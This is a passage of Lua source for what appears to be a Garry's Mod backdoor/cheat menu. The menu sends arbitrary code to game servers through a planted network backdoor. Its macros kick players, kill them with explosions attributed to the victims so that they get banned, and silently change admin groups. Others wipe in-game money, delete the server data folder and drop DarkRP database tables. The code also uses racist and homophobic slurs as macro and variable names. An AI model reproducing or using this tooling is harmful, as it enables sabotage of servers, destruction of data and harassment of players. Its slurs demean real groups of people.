8048 if ( Ent.SetVehicleClass && @1 ) then Ent:SetVehicleClass( @1 ) end
8049
8050 Ent.VehicleName = vehicle.Class
8051
8052 Ent.VehicleTable = @1
8053
8054 Ent.ClassOverride = vehicle.Class
8055
8056 ]],
8057 ["Desc"] = "Spawn a vehicle in front of this player (first parameter = vehicle class), don't try to spawn ents with this ya dingus!",
8058 ["NeedsParameters"] = 1
8059 },
8060 ["Kick player"] = {
8061 ["Type"] = 2,
8062 ["Code"] = [[ v:Kick( @1 ) ]],
8063 ["Desc"] = "First parameter = reason for kick"
8064 },
8065 ["Niggerize player"] = {
8066 ["Type"] = 2,
8067 ["Code"] = [[ if !v.Niggered then v:SetColor( Color( 0, 0, 0 ) ) v.Niggered = true else v:SetColor( Color(255, 255, 255) ) v.Niggered = false end ]],
8068 ["Desc"] = "Turns them black as night"
8069 },
8070 ["Cloak player"] = {
8071 ["Type"] = 2,
8072 ["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
8073 ["Desc"] = "Toggles cloaking on the player, people can still see the weapon they are holding however"
8074 },
8075 ["Allahu Ackbar"] = {
8076 ["Type"] = 2,
8077 ["Code"] = [[
8078
8079 local explo = ents.Create("env_explosion")
8080
8081 explo:SetOwner(v)
8082
8083 explo:SetPos(v:GetPos())
8084
8085 explo:SetKeyValue("iMagnitude", "250")
8086
8087 explo:Spawn()
8088
8089 explo:Activate()
8090
8091 explo:Fire("Explode", "", 0)
8092
8093 if v:Alive() then v:Kill() end
8094
8095 ]],
8096 ["Desc"] = "Blows them the fuck up, all kills are attributed to them so its great for getting random assholes banned"
8097 },
8098 ["ULX set access"] = {
8099 ["Type"] = 2,
8100 ["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
8101 ["Desc"] = "If ulx is installed this will (silently!) set them to the specified usergroup (1st parameter)",
8102 ["NeedsParameters"] = 1
8103 },
8104 ------------------------ dangerous codens ------------------------
8105 ["DarkRP clear all money"] = {
8106 ["Type"] = 3,
8107 ["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
8108 ["Desc"] = "Kids will cry to the admins for the next week about losing their precious money"
8109 },
8110 ["Cleanup map"] = {
8111 ["Type"] = 3,
8112 ["Code"] = [[game.CleanUpMap()]],
8113 ["Desc"] = "Wipe the map clean, taking everybodys cars, printers and bases out"
8114 },
8115 ["Vaporize all players"] = {
8116 ["Type"] = 3,
8117 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
8118 ["Desc"] = "Deletes their player entity, leaving them staring at a wall of errors"
8119 },
8120 ["FPP Unrestrict everything"] = {
8121 ["Type"] = 3,
8122 ["Code"] = [[FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {} ]],
8123 ["Desc"] = ""
8124 },
8125 ["Wipe data folder"] = {
8126 ["Type"] = 3,
8127 ["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
8128 ["Desc"] = "Wipe the servers data folder, fucking all their settings and stuff up"
8129 },
8130 ["Wipe DarkRP SQL Tables"] = {
8131 ["Type"] = 3,
8132 ["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
8133 ["Desc"] = "Completely fucks darkrp, forces them to reinstall the entire server"
8134 }
8135}
8136
8137local selectedbackdoor = ""
8138local backdoorargs = ""
8139local selectedplayers = {}
8140
8141function BD.GenerateBackdoorList(parent, category)
8142 for k, v in SortedPairs(BD.BDMacros, false) do
8143 if v["Type"] ~= category then continue end
8144 local plypanel2 = vgui.Create("DPanel")
8145 plypanel2:SetPos(0, 0)
8146 plypanel2:SetSize(200, 25)
8147
8148 -- Paint function
8149 plypanel2.Paint = function()
8150 draw.RoundedBoxEx(8, 1, 1, plypanel2:GetWide(), plypanel2:GetTall(), Color(0, 0, 0, 150), false, false, false, false)
8151
8152 if selectedbackdoor == k then
8153 surface.SetDrawColor(Color(70, 130, 180, 255))
8154 else
8155 surface.SetDrawColor(Color(0, 0, 0, 255))
8156 end
8157
8158 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1, plypanel2:GetTall() - 1)
8159 end
8160
8161 local plyname = vgui.Create("DLabel", plypanel2)
8162 plyname:SetPos(10, 5)
8163 plyname:SetFont("Trebuchet18")
8164 local tcol = Color(255, 255, 255)
8165
8166 if v.Private then
8167 tcol = Color(155, 255, 155)
8168 end
8169
8170 plyname:SetColor(tcol)
8171 plyname:SetText(k)
8172 plyname:SetSize(180, 15)
8173 local faggot = vgui.Create("DButton", plypanel2)
8174 faggot:SetSize(plypanel2:GetWide(), plypanel2:GetTall())
8175 faggot:SetPos(0, 0)
8176 faggot:SetText("")
8177
8178 if v["Desc"] ~= "" then
8179 faggot:SetToolTip(v["Desc"])
8180 end
8181
8182 faggot.Paint = function(panel, w, h) return end
8183
8184 faggot.DoClick = function()
8185 selectedbackdoor = k
8186 end
8187
8188 parent:AddItem(plypanel2)
8189 end
8190end
8191
8192function BD.FormatCodeTargeted()
8193 if selectedbackdoor == "" then
8194 BD.ChatText("You haven't selected a macro to use!", Color(255, 155, 155))
8195
8196 return
8197 end
8198
8199 local param = string.Explode(",", backdoorargs)
8200 local ids = {}
8201
8202 for k, v in pairs(selectedplayers) do
8203 if not v:IsValid() then
8204 table.RemoveByValue(selectedplayers, v)
8205 continue
8206 end
8207
8208 table.insert(ids, v:UniqueID())
8209 end
8210
8211 local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
8212 code = string.Replace(code, "##", table.ToString(ids))
8213 code = string.Replace(code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "")
8214 code = string.Replace(code, "%LP", "p:UniqueID() == \"" .. LocalPlayer():UniqueID() .. "\"")
8215
8216 if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "") then
8217 BD.ChatText("This macro requires parameters to work! check its description for more info", Color(255, 155, 155))
8218
8219 return
8220 end
8221
8222 if #param < 1 then
8223 param = {
8224 [1] = "derp",
8225 [2] = "derp",
8226 [3] = "derp",
8227 [4] = "derp",
8228 [5] = "derp"
8229 }
8230 end
8231
8232 for k, v in pairs(param) do
8233 code = string.Replace(code, "@" .. k, [["]] .. v .. [["]])
8234 end
8235
8236 BD.Fire(code)
8237end
8238
8239function BD.FormatCodeGlobal()
8240 if selectedbackdoor == "" then
8241 BD.ChatText("You haven't selected a macro to use!", Color(255, 155, 155))
8242
8243 return
8244 end
8245
8246 local param = string.Explode(",", backdoorargs)
8247 local code = BD.BDMacros[selectedbackdoor]["Code"]
8248
8249 if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "") then
8250 BD.ChatText("This macro requires parameters to work! check its description for more info", Color(255, 155, 155))
8251
8252 return
8253 end
8254
8255 if #param < 1 then
8256 param = {
8257 [1] = "derp",
8258 [2] = "derp",
8259 [3] = "derp",
8260 [4] = "derp",
8261 [5] = "derp"
8262 }
8263 end
8264
8265 for k, v in pairs(param) do
8266 code = string.Replace(code, "@" .. k, [["]] .. v .. [["]])
8267 code = string.Replace(code, "%LP", LocalPlayer():UniqueID())
8268 code = string.Replace(code, "%LCP", "p:UniqueID() == \"" .. LocalPlayer():UniqueID() .. "\"")
8269
8270 for k, v in pairs(BackDoor_net) do
8271 code = string.Replace(code, "%BD", v.NetWork)
8272 end
8273 end
8274
8275 BD.Fire(code)
8276end
8277
8278local safenet = net
8279
8280local function bdnet()
8281 if R8 and R8.G then return R8.G.net end
8282
8283 return safenet
8284end
8285
8286function BD.Fire(code)
8287 local cbd = BD.CurrentBackdoor
8288 local key = BD.BackdoorTypes[cbd].Netkey
8289 bdnet().Start(key)
8290 bdnet().WriteString(code)
8291 bdnet().SendToServer()
8292end
8293
8294surface.CreateFont("exitmenu", {
8295 font = "Arial",
8296 size = 20,
8297 weight = 1000,
8298 shadow = false,
8299 outline = false
8300})
8301
8302local function exitmenu(panel, X, y)
8303 local CButton = vgui.Create("DButton", panel)
8304 CButton:SetTextColor(Color(150, 150, 150))
8305 CButton:SetText("РҐ")
8306 CButton:SetFont("exitmenu")
8307 CButton:SetPos(X, y)
8308 CButton:SetSize(50, 24)
8309
8310 CButton.DoClick = function()
8311 panel:SizeTo(0, 0, .2, 0, .2)
8312
8313 timer.Simple(0.3, function()
8314 panel:SetVisible(false)
8315 end)
8316 end
8317
8318 CButton.Paint = function(panel, w, h)
8319 surface.SetDrawColor(Color(0, 0, 0, 255))
8320 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
8321 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
8322 end
8323
8324 CButton.OnCursorEntered = function(self)
8325 surface.PlaySound("garrysmod/ui_hover.wav")
8326
8327 CButton.Paint = function(panel, w, h)
8328 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
8329 end
8330 end
8331
8332 -------------------------------------------------------------
8333 CButton.OnCursorExited = function(self)
8334 CButton.Paint = function(panel, w, h)
8335 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
8336 end
8337 end
8338 ------------------------------------------------------------------------
8339end
8340
8341local blur = Material("pp/blurscreen")
8342
8343local function DrawBlur(panel, amount)
8344 local x, y = panel:LocalToScreen(0, 0)
8345 local scrW, scrH = ScrW(), ScrH()
8346 surface.SetDrawColor(255, 255, 255)
8347 surface.SetMaterial(blur)
8348
8349 for i = 1, 3 do
8350 blur:SetFloat("$blur", (i / 3) * (amount or 6))
8351 blur:Recompute()
8352 render.UpdateScreenEffectTexture()
8353 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
8354 end
8355end
8356
8357CreateClientConVar("menu_r", "148", true, false)
8358CreateClientConVar("menu_g", "0", true, false)
8359CreateClientConVar("menu_b", "211", true, false)
8360
8361function BD.BackdoorMenu()
8362 BD.Backdoors = BD.PingBackDoors()
8363 local BDMenu = vgui.Create("DFrame")
8364 BDMenu:Center()
8365 BDMenu:SizeTo(500, 400, .3, 0, .3)
8366 exitmenu(BDMenu, 449, 1)
8367 BDMenu:SetTitle(" ")
8368 BDMenu:ShowCloseButton(false)
8369 BDMenu:SetVisible(true)
8370 BDMenu:MakePopup()
8371
8372 function BDMenu:Paint()
8373 DrawBlur(self, 5)
8374 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
8375 surface.SetDrawColor(Color(0, 0, 0, 255))
8376 surface.DrawOutlinedRect(0, 0, BDMenu:GetSize())
8377 ---------------------------------------------------------
8378 --draw.SimpleText( "Player's", "exitmenu", 320, 25 , Color( 255, 255, 255, 200 ), 0, 0 )
8379 ---------------------------------------------------------
8380 surface.DrawOutlinedRect(0, 25, BDMenu:GetSize())
8381 -------------------------------------------------
8382 surface.DrawOutlinedRect(0, 0, 449, 26)
8383 --surface.DrawOutlinedRect( -6, 25, BDMenu:GetSize() )
8384 --
8385 --surface.DrawOutlinedRect( 0, -6, BDMenu:GetSize() )
8386 ------------------------------------------------
8387 end
8388
8389 local it = 145
8390 local Plist = vgui.Create("DPanelList", BDMenu)
8391 Plist:SetPos(5, 30)
8392 Plist:SetSize(200, 315)
8393 Plist:SetPadding(5)
8394 Plist:SetSpacing(5)
8395 Plist:EnableHorizontal(false)
8396 Plist:EnableVerticalScrollbar(true)
8397 Plist:SetName("")
8398
8399 Plist.Paint = function(self, w, h)
8400 DrawBlur(self, 5)
8401 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
8402 surface.SetDrawColor(Color(0, 0, 0, 255))
8403 surface.DrawOutlinedRect(0, 0, BDMenu:GetSize())
8404 end
8405
8406 local Plist4 = vgui.Create("DPanelList", BDMenu)
8407 Plist4:SetPos(210, 30)
8408 Plist4:SetSize(285, 315)
8409 Plist4:SetPadding(5)
8410 Plist4:SetSpacing(5)
8411 Plist4:EnableHorizontal(false)
8412 Plist4:EnableVerticalScrollbar(true)
8413 Plist4:SetName("")
8414
8415 Plist4.Paint = function(self, w, h)
8416 surface.SetDrawColor(50, 50, 50, 255)
8417 surface.DrawOutlinedRect(0, 0, w, h)
8418 surface.SetDrawColor(0, 0, 0, 200)
8419 surface.DrawRect(0, 0, w, h)
8420 end
8421
8422 local faggot = vgui.Create("DButton", BDMenu)
8423 faggot:Dock(5)
8424 faggot:SetText("Activate Backdoor!")
8425 faggot:SetTextColor(Color(255, 255, 255, 255))
8426
8427 faggot.Paint = function(panel, w, h)
8428 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
8429 surface.SetDrawColor(Color(0, 0, 0, 255))
8430 surface.DrawOutlinedRect(0, 0, faggot:GetSize())
8431 surface.DrawOutlinedRect(0, 25, faggot:GetSize())
8432 end
8433
8434 faggot.DoClick = function()
8435 if not BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
8436 BD.ChatText("You haven't even selected a macro to use ya dingus!", Color(255, 155, 155))
8437
8438 return
8439 end
8440
8441 if BD.BDMacros[selectedbackdoor].Type == (1 or 3) then
8442 BD.FormatCodeGlobal()
8443 else
8444 BD.FormatCodeTargeted()
8445 end
8446
8447 surface.PlaySound("buttons/button18.wav")
8448 end
8449
8450 local moonman = vgui.Create("DTextEntry", BDMenu)
8451 moonman:Dock(5)
8452 moonman:DockMargin(0, 0, 0, 5)
8453 moonman:SetText(backdoorargs)
8454
8455 moonman.OnChange = function(self)
8456 backdoorargs = self:GetValue()
8457 end
8458
8459 -- surface.PlaySound("buttons/button3.wav")
8460 -- players list
8461 for k, v in pairs(player.GetAll()) do
8462 local plypanel2 = vgui.Create("DPanel")
8463 plypanel2:SetPos(0, 0)
8464 plypanel2:SetSize(200, 25)
8465
8466 -- Paint function
8467 plypanel2.Paint = function()
8468 draw.RoundedBoxEx(8, 1, 1, plypanel2:GetWide(), plypanel2:GetTall(), Color(0, 0, 0, 150), false, false, false, false)
8469
8470 if table.HasValue(selectedplayers, v) then
8471 surface.SetDrawColor(Color(50, 255, 90, 255))
8472 else
8473 surface.SetDrawColor(Color(50, 50, 90, 255))
8474 end
8475
8476 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1, plypanel2:GetTall() - 1)
8477 end
8478
8479 local plyname = vgui.Create("DLabel", plypanel2)
8480 plyname:SetPos(10, 5)
8481 plyname:SetFont("Trebuchet18")
8482 local tcol = Color(255, 255, 255)
8483
8484 if v == LocalPlayer() then
8485 tcol = Color(155, 155, 255)
8486 end
8487
8488 -- elseif BD.IsFriend( v ) then tcol = Color( 0, 255, 0 )
8489 -- elseif BD.GetRank(v) != ( "user" or "guest" or "player" ) then tcol = Color( 255, 100, 0 ) end
8490 plyname:SetColor(tcol)
8491 plyname:SetText(v:Nick())
8492 plyname:SetSize(180, 15)
8493 local faggot = vgui.Create("DButton", plypanel2)
8494 faggot:SetSize(plypanel2:GetWide(), plypanel2:GetTall())
8495 faggot:SetPos(0, 0)
8496 faggot:SetText("")
8497 faggot.Paint = function(panel, w, h) return end
8498
8499 faggot.DoClick = function()
8500 if table.HasValue(selectedplayers, v) then
8501 table.RemoveByValue(selectedplayers, v)
8502 else
8503 table.insert(selectedplayers, v)
8504 end
8505 end
8506
8507 Plist4:AddItem(plypanel2)
8508 end
8509
8510 BD.GenerateBackdoorList(Plist, 1)
8511 BD.GenerateBackdoorList(Plist, 2)
8512 BD.GenerateBackdoorList(Plist, 3)
8513end
8514
8515concommand.Add("bd_menu", BD.BackdoorMenu)
8516
8517function BD.QuickFireBackdoor()
8518 if not BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
8519 BD.ChatText("You haven't even selected a macro to use ya dingus!", Color(255, 155, 155))
8520
8521 return
8522 end
8523
8524 if BD.BDMacros[selectedbackdoor].Type == (1 or 3) then
8525 BD.FormatCodeGlobal()
8526 else
8527 BD.FormatCodeTargeted()
8528 end
8529end
8530
8531concommand.Add("bd_quickfire", BD.QuickFireBackdoor)